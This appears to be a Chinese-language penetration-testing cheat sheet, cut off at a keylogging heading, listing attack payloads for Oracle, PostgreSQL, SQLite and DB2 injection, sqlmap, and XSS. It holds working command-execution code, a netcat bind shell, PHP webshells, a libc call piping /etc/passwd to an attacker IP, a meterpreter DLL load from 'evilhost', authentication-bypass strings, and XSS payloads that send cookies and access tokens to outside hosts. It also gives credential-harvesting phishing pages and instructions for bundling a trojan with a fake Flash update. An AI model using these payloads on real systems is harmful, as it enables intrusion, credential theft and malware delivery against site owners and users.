```

**列表**

```
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```

**列字段**

```
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
```

**基于报错注入**

| 描述                 | 执行                                                                                                                                     |
| ------------------ | -------------------------------------------------------------------------------------------------------------------------------------- |
| 不合法的HTTP请求         | SELECT utl\_inaddr.get\_host\_name((select banner from v$version where rownum=1)) FROM dual                                            |
| CTXSYS.DRITHSX.SN  | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual                                                 |
| 不合法的 XPath         | SELECT ordsys.ord\_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual                            |
| 不合法的 XML           | SELECT to\_char(dbms\_xmlgen.getxml('select "'\|\|(select user from sys.dual)\|\|'" FROM sys.dual')) FROM dual                         |
| 不合法的 XML           | SELECT rtrim(extract(xmlagg(xmlelement("s", username \|\| ',')),'/s').getstringval(),',') FROM all\_users                              |
| SQL Error          | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL\_USERS) WHERE LIMIT=1)) |
| ##### 盲注           |                                                                                                                                        |
| 描述                 | 执行                                                                                                                                     |
| :-------------     | :-------------                                                                                                                         |
| 版本 12.2            | SELECT COUNT(\*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';                                                                      |
| Subselect 启用       | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)                                                                                        |
| 表log\_table存在      | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log\_table);                                                                                 |
| 字段信息存在于 log\_table | SELEC COUNT(\*) FROM user\_tab\_cols WHERE column\_name = 'MESSAGE' AND table\_name = 'LOG\_TABLE';                                    |
| 第一个字符为t            | SELEC message FROM log\_table WHERE rownum=1 AND message LIKE 't%';                                                                    |
| ##### 时间类型注入       |                                                                                                                                        |

```
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])                 注释符   -- /**/
```

**命令执行**

```
/* 创建Java类 */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

/* 执行系统命令 */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
或（十六进制）
/* 创建Java类 */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

/* 执行系统命令 */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```


# PostgreSQL

**注释符**

```
--
/**/  
```

**版本**

```
SELECT version()
```

**当前用户**

```
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
```

**列出用户**

```
SELECT usename FROM pg_user
```

**列出密码哈希**

```
SELECT usename, passwd FROM pg_shadow 
```

**列出数据库管理员帐户**

```
SELECT usename FROM pg_user WHERE usesuper IS TRUE
```

**列出权限**

```
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
```

**检查当前用户是否为超级用户**

```
SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
```

**数据库名**

```
SELECT current_database()
```

**列出数据库**

```
SELECT datname FROM pg_database
```

**列出表**

```
SELECT table_name FROM information_schema.tables
```

**列出字段**

```
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
```

**基于报错类型**

```
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
XML Helper
select query_to_xml('select * from pg_user',true,true,''); -- 将所有结果作为单行xml 返回
select database_to_xml(true,true,''); -- 以XML形式列出当前数据库
select database_to_xmlschema(true,true,''); -- 以XML schema形式列出当前数据库
```

**盲注**

```
' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO
```

**基于时间盲注**

```
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
```

**堆查询**

```
使用分号“;” 添加另一个查询
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
```

**读取文件**

```
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
select pg_read_file('postgresql.auto.conf',0,100);  行数
早期版本不接受pg_read_file或pg_ls_dir中的绝对路径，新版本允许超管和在default_role_read_server_files组的用户读文件
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;

SELECT lo_import('/etc/passwd');
SELECT lo_get(16420);
SELECT * from pg_largeobject;
```

**列目录**

```
select pg_ls_dir('/etc');
```

**写文件**

```
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
insert into shell values($$<?php @eval($_POST[1]);?>$$);
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
或
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
copy (select '<?php phpinfo();?>') to '/var/www/html/shell.php';

SELECT lo_from_bytea(43210, 'your file data goes in here');
SELECT lo_put(43210, 20, 'some other data'); 
SELECT lo_export(43210, '/tmp/testexport'); 
```

**命令执行**

```
CVE-2019–9193
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table
使用 libc.so.6
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
```

**bypass 过滤器**

```
使用 CHR
SELECT CHR(65)||CHR(66)||CHR(67);
版本>8 PostgreSQL使用$符合
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
```


# SQLite

**注释符**

```
--
/**/
```

**版本**

```
select sqlite_version();
```

**字符型注入 - 获取数据库结构**

```
SELECT sql FROM sqlite_schema
```

**整数/字符串型 - 提取表名**

```
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
使用limit X+1 offset X，提取所有表
```

**整数/字符串型 - 提取列名**

```
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```

**布尔类型 - 计算表数量**

```
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```

**布尔类型 - 枚举表名**

```
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```

**布尔类型 - 获取数据**

```
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```

**时间类型**

```
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```

**远程执行命令 - ATTACH DATABASE**

```
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
```

**远程执行命令 - Load\_extension**

```
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
默认情况下，此组件是禁用的
```


# DB2

**版本**

select versionnumber, version\_timestamp from sysibm.sysversions; select service\_level from table(sysproc.env\_get\_inst\_info()) as instanceinfo select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+) select prod\_release,installed\_prod\_fullname from table(sysproc.env\_get\_prod\_info()) as productinfo select service\_level,bld\_level from sysibmadm.env\_inst\_info

**注释**

```
--
```

**当前用户**

```
select user from sysibm.sysdummy1
select session_user from sysibm.sysdummy1
select system_user from sysibm.sysdummy1
```

**列出用户**

```
DB2 使用操作系统帐户
select distinct(authid) from sysibmadm.privileges -- priv required
select grantee from syscat.dbauth -- incomplete results
select distinct(definer) from syscat.schemata -- more accurate
select distinct(grantee) from sysibm.systabauth -- same as previous
```

**列出权限**

```
select * from syscat.tabauth -- shows priv on tables
select * from syscat.tabauth where grantee = current user -- shows privs for current user
select * from syscat.dbauth where grantee = current user;;
select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies
```

**列出 DBA 帐户**

```
select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’
```

**当前数据库**

```
select current server from sysibm.sysdummy1
```

**列出数据库**

```
select distinct(table_catalog) from sysibm.tables
SELECT schemaname FROM syscat.schemata;
```

**列出列**

```
select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
```

**列表表**

```
select table_name from sysibm.tables
select name from sysibm.systables
```

**从列名中查找表**

```
select tbname from sysibm.syscolumns where name='username'
```

**选择第 N 行**

```
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
```

**选择第 N 个字符**

```
select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
```

**按位与/或/非/异或**

```
select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot
```

**ASCII 值**

```
Char	select chr(65) from sysibm.sysdummy1 -- returns 'A'
```

**字符 -> ASCII 值**

```
select ascii('A') from sysibm.sysdummy1 -- returns 65
```

**Cast**

```
select cast('123' as integer) from sysibm.sysdummy1
select cast(1 as char) from sysibm.sysdummy1
```

**字符串连接**

```
select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc'
select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
```

**避免引用**

```
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too
```

**时间延迟**

```
重查询，例如：如果用户以 ascii 68 ('D') 开头，将执行重查询，延迟响应。但是，如果用户不以 ascii 68 开头，则不会执行繁重的查询，因此响应会更快。

' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 
```

**序列化为 XML（基于错误）**

```
select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
```

**命令执行和本地文件访问**

```
只允许从程序或 UDF 中使用。

主机名/IP 和操作系统信息
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
数据库文件的位置
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
系统配置
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.
select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg
```


# SQLMAP

**使用**

```
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
-p 指定注入点，注入参数
--user-agent 指定user-agent
--random-agent 随机user-agent
--threads 线程
--risk 风险等级 随着等级的增多，增加格式的测试语句
--level 随着level变多，payload增加，运行时间增加，还会测试请求头的注入
--eta 显示每个输出的预计完成时间
--dbms 指定当前数据库类型
--os 指定系统版本
--banner 获取数据库管理系统的标识
--is-dba 测试是否为dba权限
--dbs 列出全部数据库
--current-user 列出当前用户
加载请求文件使用手机useragent
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
```

**自定义注入点UserAgent/Header/Referer/Cookie**

```
用*号指定注入点
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
```

**二阶注入**

```
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

**shell**

```
SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```

**使用 SQLmap 自动爬取网站和利用**

```
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

**将 TOR 与 SQLmap 一起使用**

```
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
```

**代理**

```
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

**使用cookie 和代理**

```
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3
```

**使用后缀篡改注入**

```
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

**使用tamper bypass waf**

| Tamper                       | 描述                                                                                |
| ---------------------------- | --------------------------------------------------------------------------------- |
| 0x2char.py                   | 用CONCAT(CHAR(),…) 替换每个 (MySQL) 0x 编码字符串                                           |
| apostrophemask.py            | 用utf8代替引号                                                                         |
| apostrophenullencode.py      | 绕过过滤双引号，替换字符和双引号                                                                  |
| appendnullbyte.py            | 在有效负荷结束位置加载零字节字符编码                                                                |
| base64encode.py              | Base64编码                                                                          |
| between.py                   | 用between替换大于号（>）                                                                  |
| bluecoat.py                  | 代替空格字符后与一个有效的随机空白字符的SQL语句 然后替换=为like                                              |
| chardoubleencode.py          | 双url编码(不处理已编码的)                                                                   |
| charencode.py                | url编码                                                                             |
| charunicodeencode.py         | 字符串 unicode 编码                                                                    |
| charunicodeescape.py         | unicode 转义                                                                        |
| commalesslimit.py            | 无逗号                                                                               |
| commalessmid.py              | 'MID(A, B, C)' 替换为 'MID(A FROM B FOR C)'                                          |
| commentbeforeparentheses.py  | 括号前的注释 ( -> /\*\*/()                                                              |
| concat2concatws.py           | 'CONCAT(A, B)' 替换为 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)'                         |
| charencode.py                | 字符编码                                                                              |
| charunicodeencode.py         | unicode 编码                                                                        |
| equaltolike.py               | 替换等号为like                                                                         |
| escapequotes.py              | 转义引号                                                                              |
| greatest.py                  | 用GREATEST替换大于号                                                                    |
| halfversionedmorekeywords.py | 关键字前加注释                                                                           |
| htmlencode.py                | HTML 编码                                                                           |
| ifnull2casewhenisnull.py     | 将 'IFNULL(A, B)' 之类的实例替换为 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END'             |
| ifnull2ifisnull.py           | 用 'IF(ISNULL(A), B, A)' 替换像 'IFNULL(A, B)' 这样的实例                                  |
| informationschemacomment.py  | 在（MySQL）“information\_schema”标识符的所有出现的末尾添加一个内联注释（/\*\*/）                          |
| least.py                     | 将大于运算符 ('>') 替换为 'LEAST' 对应项                                                      |
| lowercase.py                 | 用小写值替换每个关键字字符（例如 SELECT -> select）                                                |
| modsecurityversioned.py      | 包含带有版本化注释的完整查询                                                                    |
| modsecurityzeroversioned.py  | 包含带有零版本注释的完整查询                                                                    |
| multiplespaces.py            | 在 SQL 关键字周围添加多个空格                                                                 |
| nonrecursivereplacement.py   | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、”")） filters |
| overlongutf8.py              | 转换给定有效负载中的所有字符                                                                    |
| overlongutf8more.py          | 将给定负载中的所有字符转换为超长 UTF8（例如 SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94）          |
| percentage.py                | 在每个字符前面添加一个百分号 ('%')                                                              |
| plus2concat.py               | 将加号运算符 ('+') 替换为 (MsSQL) 函数 CONCAT() 对应项                                          |
| plus2fnconcat.py             | 将加号运算符 ('+') 替换为 (MsSQL) ODBC 函数 {fn CONCAT()} 对应项                                |
| randomcase.py                | 用随机大小写值替换每个关键字字符                                                                  |
| randomcomments.py            | 为 SQL 关键字添加随机注释                                                                   |
| securesphere.py              | 附加特殊制作的字符串                                                                        |
| sp\_password.py              | 将“sp\_password”附加到有效负载的末尾，以便从 DBMS 日志中自动混淆                                        |
| space2comment.py             | 用注释替换空格字符 (' ')                                                                   |
| space2dash.py                | 用破折号注释 ('--') 后跟随机字符串和换行符 ('\n') 替换空格字符 ('')                                      |
| space2hash.py                | 将空格字符 (' ') 替换为井号字符 ('#')，后跟随机字符串和换行符 ('\n')                                      |
| space2morehash.py            | 将空格字符 (' ') 替换为井号字符 ('#')，后跟随机字符串和换行符 ('\n')                                      |
| space2mssqlblank.py          | 用一组有效替代字符中的随机空白字符替换空格字符 (' ')                                                     |
| space2mssqlhash.py           | 用井号字符 ('#') 后跟换行符 ('\n') 替换空格字符 ('')                                              |
| space2mysqlblank.py          | 用一组有效替代字符中的随机空白字符替换空格字符 (' ')                                                     |
| space2mysqldash.py           | 用破折号注释 ('--') 后跟换行符 ('\n') 替换空格字符 ('')                                            |
| space2plus.py                | 将空格字符 (' ') 替换为加号 ('+')                                                           |
| space2randomblank.py         | 用一组有效替代字符中的随机空白字符替换空格字符 (' ')                                                     |
| symboliclogical.py           | 将 AND 和 OR 逻辑运算符替换为对应的符号（&& 和                                                     |
| unionalltounion.py           | 将 UNION ALL SELECT 替换为 UNION SELECT                                               |
| unmagicquotes.py             | 将引号字符 (') 替换为多字节组合 %bf%27 以及末尾的通用注释                                               |
| uppercase.py                 | 用大写值“INSERT”替换每个关键字字符                                                             |
| varnish.py                   | 附加 HTTP 标头“X-originating-IP”                                                      |
| versionedkeywords.py         | 用版本化 MySQL 注释将每个非函数关键字括起来                                                         |
| versionedmorekeywords.py     | 用版本化的 MySQL 注释将每个关键字括起来                                                           |
| xforwardedfor.py             | 附加一个虚假的 HTTP 标头“X-Forwarded-For”                                                  |

**使用账户密码访问数据库**

sqlmap.py -d "mysql://user:pass\@ip/database" --dump-all

**身份验证绕过 - 万能账户密码**

```
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

**身份验证绕过（原始 MD5 SHA1）**

```
当密码为MD5加密是
查询语句是这样的
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
绕过方式
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```

**WAF 绕过**

```
无空格
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
注释符
?id=1/*comment*/and/**/1=1/**/--
括号绕过
?id=(1)and(1)=(1)--
更多
```

| DBMS       | ASCII characters in hexadicimal                                                                                                                                        |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| SQLite3    | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| MySQL 5    | 09, 0A, 0B, 0C, 0D, A0, 20                                                                                                                                             |
| MySQL 3    | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
| PostgreSQL | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20                                                                                                                                                 |
| MSSQL      | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20                                         |

```
无逗号
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
无等号
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
大小写
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
运算符
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```


# XSS

**确定XSS**

```
反射型XSS可使用payload:<script>alert(1)</script>
存储型不适宜alert(1)
更好的替代品
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
```

**打COOKIE**

```
<svg/onload="javascript:document.location.href=('http://xx.xx.xx.xx:7777?cookie='+document.cookie)">
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
获取的cookie写入文件
```

```php
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
```

**读取HTML**

```
<svg/onload="document.location='http://xx.xx.xx.xx:7777/?'+btoa(document.body.innerHTML)">
```

**读文件**

```
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
	if (xmlhttp.readyState==4 && xmlhttp.status==200)
	{
		document.location='http://xx.xx.xx.xx:7777/?'+btoa(xmlhttp.responseText);
	}
}
xmlhttp.open("GET","file.php",true);
xmlhttp.send();
">
```

**修改HTML**

```
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>
```

**XSS+SSRF读取服务器文件**

```
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
	}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">
```

**XSS克隆钓鱼**

```
保存js&css到服务器，登录action改为接受密码的文件action="./pass.php"
```

```php
    <?php //php
      $user=$_POST['username'];
      $pass=$_POST['password'];
      $file=fopen('pass.txt','a+');
      fwrite($file,$user."|"."pass" . "\n");
      fclose($file);
      echo "<script>window.location.href=\"http://192.168.0.1\"</script>\n";
    ?>
```

```
构造payload
<script>window.location.href="http://192.168.0.1/login.html"</script>
php –S 0.0.0.0:8080 –t ./
```

**伪造页面钓鱼**

```
方法1
https://github.com/r00tSe7en/Fake-flash.cn
添加xss平台模块
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低，尝试升级后访问该页面！");
window.location.href="http://www.flash.com";
制作自解压捆绑
一个马.exe，一个正常exe，全选，winrar添加到压缩文件，选择创建自解压格式压缩文件，高级->自解压选项，设置解压路径，c:\windows\temp\，设置->解压后运行两个exe文件，模式全部隐藏，更新，解压并更新文件，覆盖所有文件。
ResourceHacker修改文件图标
方法2
if(empty($_COOKIE['flash'])){
	    echo '<script>alert("你当前计算机的Flash软件已经很久未更新，将导致无法正常显示界面内容，请下载安装最新版本！");window.location="http://www.flash.cn.xx.com/"</script>';
	    setcookie("flash","true",time()+30*2400);
}
```

**键盘记录**

```
